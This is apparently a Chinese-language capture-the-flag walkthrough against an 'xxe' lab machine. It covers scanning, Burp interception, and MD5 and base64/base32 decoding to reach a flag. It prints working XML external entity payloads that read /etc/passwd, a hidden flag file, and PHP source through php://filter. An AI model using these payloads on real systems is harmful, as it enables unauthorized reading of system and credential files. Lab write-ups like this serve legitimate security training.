1.先用kali的nmap扫描端口
2. 找到靶机地址后用工具扫描目录
3.我们先进入robots.txt中
4.访问xxe文件
5.在登陆时抓包
这里可以看到在我们用户名的位置是有回显的,我们可以在这里做文章
6.因为在 linux 系统中/etc/passwd 文件包含有用户账号信息所以我们可以写一个xml来读取它的passwd文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<root><name>&test;</name>
7.再通过base64加密读取admin.php文件
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
8.用base64解码工具对我们读到的代码进行解码
9.我们将解码后的代码放到新建的txt文件中查看,发现password经过MD5编码
10.使用MD5工具解码 ,得到password的值
11.我们打开 /xxe/admin.php 用刚才得到的用户名和密码登录,发现有一个.php文件
12.再来bp这里读取这个php文件
13.将读取出来的值进行base64解码 ,解出来一堆base32编码的值
14.将这串base32编码的值进行解码
得到flag.php的地址
15.我们再到BP中去读取这个文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY test SYSTEM "file:///etc/.flag.php">
]>